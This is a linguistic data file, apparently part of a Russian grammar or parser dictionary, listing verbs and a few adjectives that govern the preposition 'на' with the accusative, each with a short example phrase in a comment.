rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ)
rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ)
rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:перегонять{},
rus_verbs:выгонять{},
rus_verbs:выгнать{},
rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ)
rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ)
rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ)
rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ)
rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций
rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин)
rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА)
// rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА)
rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА)
rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин)
rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА)
rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА)
rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин)
rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
